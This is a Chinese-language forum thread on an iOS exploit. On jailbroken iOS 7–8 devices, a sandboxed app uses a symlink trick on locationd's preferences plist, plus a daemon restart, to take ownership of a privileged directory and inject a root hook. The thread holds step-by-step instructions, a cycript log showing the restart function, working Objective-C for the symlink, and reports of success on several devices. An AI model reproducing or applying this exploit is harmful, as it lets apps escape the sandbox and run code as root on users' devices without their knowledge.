使用locationd漏洞从sandbox内获取root权限

使用这个方法,可以从sandbox的app中获取权限,前提是越狱。

以下步骤在沙箱的app中实现
1、删除/var/mobile/Library/Preferences/com.apple.locationd.plist
2、软连接步骤1的文件到需要权限的目录,比如/Library/MobileSubstrate/DynamicLibraries
3、执行CoreLocation.framework中的一个函数,将locationd重启
4、睡眠一下,等待locationd重启完成

这个时候,步骤2中的目标文件夹已经是mobile mobile权限,与沙箱权限相同。
然后我可以把DL设置成777,然后做个locationd的钩子放过去,再重启一次locationd。这时钩子生效,且有着locationd的root级别权限,可以做任何你爱做的事。
这个方法可以从一个越狱的ipa中安装deb,是目前比较流行的一个应用。
步骤3里的这个函数留给大家去挖掘。

第2步的软连接,是指在

/Library/MobileSubstrate/DynamicLibraries

下用

[NSFileManager createSymbolicLinkAtPath:withDestinationPath:error:]

等函数创建一个到

/var/mobile/Library/Preferences/com.apple.locationd.plist

的符号链接吗?因为第1步已经把这个文件删掉了,怎么还能创建它的符号链接呢?

我刚粗略看了一下,步骤3里提到的函数应该是

+[CLLocationManager shutdownDaemon]

或者

void CLClientShutdownDaemon(void)

吧~我是这么测试的:

FunMaker-5:~ root# ps -e | grep locationd
 1835 ??         0:03.39 /usr/libexec/locationd
 1854 ttys000    0:00.01 grep locationd
FunMaker-5:~ root# cycript -p MicroMessenger
cy# [CLLocationManager shutdownDaemon]
1
cy# 
FunMaker-5:~ root# ps -e | grep locationd
 1865 ??         0:01.94 /usr/libexec/locationd
 1868 ttys000    0:00.01 grep locationd

我又看了好几遍,理解起来是不是这样的:

/Library/MobileSubstrate/DynamicLibraries

的权限降低,然后用沙盒内的App向这个目录写入一个dylib,钩住locationd,从而拿到root权限;接下来需要root权限的操作其实都在这个dylib中完成,原App的权限实际上是不变的。是这样吗?

ipa通过什么方法可以删除/var/mobile/Library/Preferences/com.apple.locationd.plist文件

其它倒时成功了。就是沙盒内的App向这个目录写入一个dylib…失败。说权限问题

创建符号链接这一步,到底是个什么意思呢?

用ln -s测试, 可以对一个不存在的文件进行连接

嗯,对的。

由于刚变为mobile mobile时的权限为755,所以要先提升权限才可以写入文件

他说的这个方法貌似不行吧。。。
[NSFileManager createSymbolicLinkAtPath:withDestinationPath:error:]

如果有时间可以研究一下腾讯手机管家安装ipa里的执行文件,包括了整个流程。
当然他们对所有的关键字、函数方法、文件名和路径等做了加密,解密方法很弱,可以尝试一下:titter:

总算试出来了

  1. 沙盒代码删除/var/mobile/Library/Preferences/com.apple.locationd.plist (iOS8以后貌似不行了,用了个8的设备没有成功)

  2. 这步LZ说的让人比较容易误解, 操作是这样的, 例如我们要修改/Library/MobileSubstrate/DynamicLibraries这个文件夹的owner, 就在/var/mobile/Library/Preferences/路径下创建一个名为com.apple.locationd.plist的Symbol文件指向/Library/MobileSubstrate/DynamicLibraries

lrwxr-xr-x 1 mobile staff 57 Mar 18 22:53 com.apple.locationd.plist → /var/mobile/Library/Preferences/com.apple.locationd.plist
就这一步的手误:
应该是:
lrwxr-xr-x 1 mobile staff 57 Mar 18 22:53 com.apple.locationd.plist → /Library/MobileSubstrate/DynamicLibraries

3.重启守护进程
4.检验/Library/MobileSubstrate/DynamicLibraries 从 mobile staff 变成了 mobile mobile了!

可以的, iOS7下尝试没问题

NSString * plistPath = @"/var/mobile/Library/Preferences/com.apple.locationd.plist";
NSString * path2 = @"/Library/MobileSubstrate/DynamicLibraries";
NSError * error = nil;
[NSFileManager defaultManager] createSymbolicLinkAtPath:plistPath withDestinationPath:path2 error:&error];

if (error != nil) {
    NSLog(@"error2 : %@", error);
}

从沙盒COPY个问题,是否成功?

已成功。。。另ios8支持不?

可以的,iOS8支持

iOS8.1的mini没有成功, 请问下LZ用的8的哪个版本呢?

我是6p 8.1

犀利,多谢分享!